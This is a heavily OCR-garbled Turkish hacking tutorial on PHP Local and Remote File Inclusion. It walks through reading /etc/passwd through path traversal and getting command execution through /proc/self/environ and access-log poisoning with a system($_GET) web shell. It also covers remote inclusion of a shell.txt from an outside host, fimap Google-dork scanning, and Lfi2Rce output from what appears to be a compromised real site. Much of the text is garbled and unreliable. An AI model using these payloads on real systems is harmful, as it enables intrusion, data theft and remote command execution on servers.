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Local File Inclusion Nedir ?

11k Olarak anlami isleyisi gibi islemlerden basli yalim
LFI (Local File Inclusion) kelime anlami olarak Local File
Include (Serverdan dosya cafirma) islemidir.

Lfi acid1i Php’de bulunan bir ag¢iktir. Bu ag¢igin sebebi de
degiskenlerin atama hatalarldlr Aceml Php coderlar maalesef bu tip
hatalara diismektedir. Fakat gi deyse kalmayacak duruma
gelen bu acik hala sif an kodlanan;Php sistemlerde bulunabiliyor.

ire, require once” kodlarindan

Aslinda Lfi “i ude, include once, reg

dolayi olusuyor. Bu Php kodlarina biraz inceleyelim.

INCLU?E// INCLUDE ONCE
bir baska sayfaya

Givenli Kod:

<?php

$jani= ‘TheMirkin;
include ($jani. ‘../index.php’);
?>
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Yukaridaki kodlar 1fi ag¢idi olan kodlardir.

Gordiginiz gibi include fonksiyonunda kullanilan dedisken php’de
tanimlanmamis. Bunu sunucuya atip calistirin dosya yok hatasi
alacaksiniz Onemsemeyin. Fakat bu kod Rfi’de oldudu gibi bir shell
sokmak ic¢in kullanilmaz. Bu ag¢ikta tanimlanamayan degiskeni
kullanarak okuma izni olan dosyalar okunabilir.

www.site.com/bug.php?jani=../../../etc/passwd

Yukarida gordiglniz a serverda ki etec/passwd okunabilir.
./../../proc/self/environ isler durumda ise

www.hedef.com/index.php?p=../../../../../proc/self/environ%00&cmd=1s
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http://www.site.com/bug.php?jani=../../../etc/passwd
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RCE'ye nasil gevrilir?

LFI acikli olan sitelerde Uzaktan Komut Calistirma islemine (Remote Command
Execution) RCE denir...

“../../../proc/self/environ” ile yada diger yardimci( perl-python vs.)
araclar ile derleme islemleri yapi
RCE metodunu yaparak islem abilir doyumsuz olan arkadaslarimizin isini
gormuyorsa
RFI ( Remote file clude = Uzakdan bir dosya dahil etme ) metodunu da

ekleyebilir.Re e file include = Uzakdan bir dosya dahil etme ) metodunu
da ekleyebilir.Biz konumuza bakalim :D
Simdi i$in75ﬁ kismina kadar anladiysak
zorlasacaktir. File dinclusion me ari geneld
basittir. Ama linux komutl lseniz em
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olun bir tarafinizdan
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@ ver azdirmaz mi °

http: ?p éxpinfo
Bu yontemi yanlis hatiklamiyorsam €9 ourtay da videolu seki
vardi tam olarak hatlxlayamasam da Konumuza donelim neyse

bir,istek attigimd

de anlatimi

ile php sorgusunu bilgdsini cekmis oluruz
akkinda bilgi verir...
ne kullanacagimizi gdre

<?php phpinfo(); 2>
Bize server ve serverdaki php
Dissabled & enabled functions 'lara bakara
biliriz...
Info sorgusunu yaptik diger islemleri ya
imkanimizda var peki nasil
http://hedef.com/<?php system("ls -1a"); 2> gibi

Peki ya sdyle bir islem yaparsak shell komutlarini get ile ceksek
<?php system($ GET['jani']); 2> gibi yapma imkani var

pamazmiylz tabii ki boyle


http://www.site.com/bug.php?jani=../../../etc/passwd
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Php {izerinde bulunan system fonksionu Windows sistem ise msdos , Linux
system ise shell konsol iizerinden calistirma imkani saglamaktadir

yani get tzerinden tanimladigimiz jani iizerinden gelen bilgi ve komutu
calistirmis oluruz peki calistirdiimizda ne olucak artindan bir hata
sayfasi ile karsilasacagiz 404 sayfa bulunamadi c¢ikar genelde :D

Ama simdi ne oldu aldigimiz hata raporlara php kodumuzu islemis yani
enjekte etmis olduk

Konumuza az daha yakin anlatalim ya tmm bu hatayi yazdirdik nereye yazdirdi

bu arkadas dersiniz sunucEgiggddoeyaTSTfﬁagnn-
/var/log/httpd/access logwgibi /apache/logs/access.log geneli bu ¢ikar ama

diger log uzantilari da dokiimanin sonunda sizlere sunacadim

http://hedef.com/test. php jani=../../../../apache/logs/acces.log
Demin yukarida .
http://hedef.com/<?php system($_¢ GET
yaptlglmZ% sorguda 404 sayfa
kodumu;ﬁ 1$lemls oldu

gibi yapmistik bu
a aslinda log dosyasina

/,

/
http///hedef com/bu

i im. igZi: i 11 )
cekelim tabi i ¢ Y degisir istedigini ( i url

vs. kullanabi

TheMirkin
http://www.janissaries.org
http://www.themirkin.org



http://hedef.com/test.php?jani=../../../../apache/logs/acces.log
http://shell.com/shellcode.txt
http://www.janissaries.org/
http://www.themirkin.org/
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Uygulamalar uzerinde Local File Inclusion

Genel olarak bu bélumde uygulamalar ve yazilimlarin kullanimini ele alarak
sizlere Local File Inclusion system bug larinitanitmaya calisacadim
arkadaslar

Kisa 6z olarak yukaridaki konular igerisﬁnde sizlere LFI anlatmaya c¢alistim
biraz simdi yavas yavas isleyis ve ile devam edelim arkadaslar

genel acgidan ;.k11d1§1nda scanner olarak
iger fonksiyonel islemleri ag¢isindan bakmadigimiz
Uk capta console gdrevi gdren araclar ile devam ediyoruz

Kullanacagimiz ek tool
kullandigimiz ama
vazilimlar ve ki

I1k olarak BackTrack 57ﬁzerindén ~ Fimap Kullanimini ele aldigimizda
ilemlerimize g6z atalim arkada

Biraz aniyalim
Automatic LFI7RFI scanner

ullanabiliriz
imap dork s ste islemler

yapabilen ve l% ha imci bir

tools dir..

Kullanilan sy
Kullanilan A
BT iizerindeki

u araci Alt+
acktrack > Ex isi izdiyerek
acabilirs nl

eklerimiz
k URL olara
./fimap.py
2. Liste Vererek Ta
./fimap.py -m - tmp/urllist.txt’
3. Google Uzerinden Arama Yaparak Otomatik taran
./fimap.py -g -g “inurl:inde e ="
-g: google’da ara, -9 query (sorgu) demektir.
help komutundan kullanim parametrelerini detayli inceleyebilirsiniz.

ttp //localhost/test.php?file=bang&id=23"
a Yaptirma:

apmak icin
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~ v

Dosya Diizenle Gortinim Ucbirim Yardim

ybaseClass.py config.pyc language.pyc report.pyc
s baseClass.pyc crawler.py massScan.py singleScan.py
TheMirkin Notlar baseTools.py crawler.pyc massScan.pyc singleScan.pyc
baseTools.pyc doc plugininterface.py targetScanner.py
codeinjector.py fimap.py plugininterface.pyc targetScanner.pyc
codeinjector.pyc googleScan.py plugins xgoogle
config googleScan.pyc README

3config.py language.py report.py
:/pentest/web/fimap# ./fimap.py -g -q “inurl:index.php?sayfa="

Timap v.08.1 by Iman Karim - Automatic LFI/RFI scanner and exploite

[INFO] © plugins loaded.

GoogleScanner is searching for Query: '“inurl:index.php?sayfa=""

Querying Google Search: '“inurl:index.php?sayfa="' with max pages 10...

Failed getting http:// .google.com/search?q=%E2%80%9Cinurl%3Aindex.php%3Fsayfa
1%3 9D&NUM=100&btnG=Google+Search: <urlopen error [ 0 -2] Name or servi
- nown>

[RETRYING PAGE 1

Failed getting http:// .google.com/seaFch?q=%E2%B0%9Cinurl%3Aindex.php%3Fsayfa
%3 9D&NUM { =GoogtesSeafch: <urflopen errof [Erfao® - 21" Nanedor seryd
ce notfknowns

[RETRYING: PAGE™1]

Failed getting http://www.google.com/search?q=%E2%80%9Cinurl%3Aindex.php%3Fsayfa
13 %9D&NumM=100&btnG=6Google+Search: <urlopen®rror [Errno -2] Name or servi
ce_not _known>

Yukarida Gormis/ oldugunuz resim tUzerinde fimap’i dork fonksiyenu ile
aramaktayiz bu fonksiyon disinda ben sizlere daha cok hedef {izerinde

Orneklemek Gerekirse
./fimap.py -u 'http://localhost/Jani.php?file=jani&id=23"

Burada ki verilmis olan islemleri goz oOniinde bulundurarak hedefi tarar ve
sorgu islemlerini yapmaya baslar

Diger yazilimlarla“devam edelim

LFI <> RCE Exploit

Lfi1 ve rce islemleriiizerine bir ¢ok yardimci yazilim yazidmistir

Bir c¢cogu perl dilinden "yararlanilarak yazilmislardir bie" codu i1rc server’a
baslanilarak islem yaptirmasinin disinda local olarakta calisan yazilimlari
vardir

Ki perl dilini gergekten seviyorum

Yazilimlari dokiiman sonunda sizlerle baylasacagim zaten bilginize

http://packetstormsecurity.com/files/116908/LFI-Exploiter.html LFI to RCE

Misal bu /proc/self/environ iizerinden concole acarak islem yapar
Daha Bir c¢ok yazilimci nin yaptidi yazilimlar var hepsinide ekliyemiyorum


http://packetstormsecurity.com/files/116908/LFI-Exploiter.html
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Cinkli sadece yazilimlari eklesek bulamadiklarimiz olacaktir hak yemeyelim
simdi
Th3-0uTl4wS Lfi2Rce Tool var console islemini glizel yapan hak yemeyelim :D

Administrateur : C:\Windows\system32\cmd.exe - Lfi2Rce.exe "http://www.adanim-immo.co.il/?clas... (= [12] [

| | ™

Coded by —i—-MetsTeR-i-
Contact: meister_5555Cmsn.com
Have Fun..

\ oe ee e o e o as o e\

¢
¢

cll

Join Us : http://th3-

uid=568<(adanimimmo?> gid=56%<(adanimimmo? groups=5692<(adanimimmo>
Command: uname —a
Linux server.sharatim.org.il 2.6.18-92.e15 #1 SMP Tue Jun 10 18:49:47 EDT 20688 i
686 1686 i386 GHU/Linux
Command: w
20:56:56 up 111 days, 21:88, 2 users, load average: 0B.63, B.63, 8.31
TTY FROM LOGING IDLE JCPU PCPU WHAT
ttyl = 22Febl1B@ 11idays ©0.24s @.24s -bash
pts/8 212.143.125.258 SunlB 34:25m 1.55s 1.46s /usv/bin/mc -P

Bu vazilimi seviyorumiama 1ste Biraz daha konulari derinlestirsek mi acaba
yoksainapsak bilemedim /i ..

)
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Remote File Inclusion Nedir ?

Birazda uzaktan islemlere bakalim hepsini tek dokiimanda g¢ikartalim istedim
Temel bilgiler ile baslayalim biraz zorliyalim oncelikle

RFI (Remote File Inclusion) : Uzaktan dosya ekleyerek kod calistirma
islemidir..

PHP web programlama dili ile kodlanmis uygulamalarda, yazilimcilarin
tanimladiklari degiskene deder a ! atanan degerlerin
filtrelenmemesinden kayn nmaktadir gogu kasti islem olmadigi siirece ©

RFI Ac¢iklarindan si1l yararlanilair ?

|

rd
Simdi gecelim bu ag¢iklardan nasil yararlanacadimiza...
PHP Kodlamalarda 1nclude komutu ile ca rilmasi gereken dosyanin yolu

gésterilir.. =
olu kulS r@)ﬁya yerine bizim istedigimiz

Biz ne mi yapacaglz ? Bu
ilem,

bir d‘gyayl gﬁllStlraC»ch
' degil tim
th"™ denir.
e anitalim

“3

5

oaih fr

5 o \ef. ! | .com@ L EXE?
e e, g W s ol 5 o
zarar kodlar w .he§§§?com ad istirilacaktir.

Bu noktada saldirgan lendirilen a3 1 ve listparch'isimleriyle
tabir edilen kotli amagli scriptleri kullanarak web sitenim® sunucusuna
sizmaktadir! Boylelikle“wsunucu lzerinde istenilen islemleri
gerceklestirebilmektedir.
Bunlarin en cok kullanilanlari
yukarida da belirtmistim

bu ne gibi bix ise

erverfa)hakim Ot
iteye ve Seryer
(c99.php, r5

99 gibi Tevsel scriptler dir

Ornek olarak R57 shell’in 6zellikleini azicik deginelim

R57 web lizerinde komut calistirma, dizin atlama, dosya diizenleme, yeni
dosya olusturma, dosya calistirma, veritabanina baglanma & baglantilari
gorme, dosya icerigi okuma, dosya yilikleme ve dosya indirme gibibir cok
islevsel 6zellige sahiptir genelde sgl islemlerinde c99 kullanilmatadir ama


http://www.hedef.com/index.php?TheMirkin=http://shelsite.com/shell.txt?
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Ozellikleriyle sunucu lizerinde yetkisiz olarak bircok islev
gerceklestirmektedir.

Sgl veritabanina baglanti kurabilir, veritabanini disari aktarabilir ve
belirtilen veritabani izerine sqgl komutlari calistirabilir. Bu 6zelligi ile
hedef sitenin veritabani bilgilerini barindiran dosyayi disari aktarabilir
ve sqgl komutlariyla istenilen diger islemler yapilabilir.

Ozellikle hosting firmalarinin cok fazla siteyi ayni sunucuda
barindirdigini disiinirsek herhangi bir sitede glivenlik ag¢idi olmasi
durumunda o sunucu Uzerinde bulunan tim Meb siteleri ve sunucu tehlike
altindadir.. '

Hep saldiri hep bug rinden konusuyoruz birazcikta giivenlik islemleri

ile ugrasalim

Birkac formiil islemler

ama etkili olabilec

Yukarida g’lu kod ye;mistik simdi erelim ve o bug’u kolay yoldan

kapatma islemlerini gdérelim

asagida belirtilen 0Oze
kalmalari saglanabilir..
En basitinden dedinmek gereki
disable function = system, passthru, exec, popen, proc_close,
proc_get status, proc nice, proc_open, allow _url fopen, shell,
shellexec, executeservice

Ama Bunlada Sinirli kalmayiniz Arkadasl
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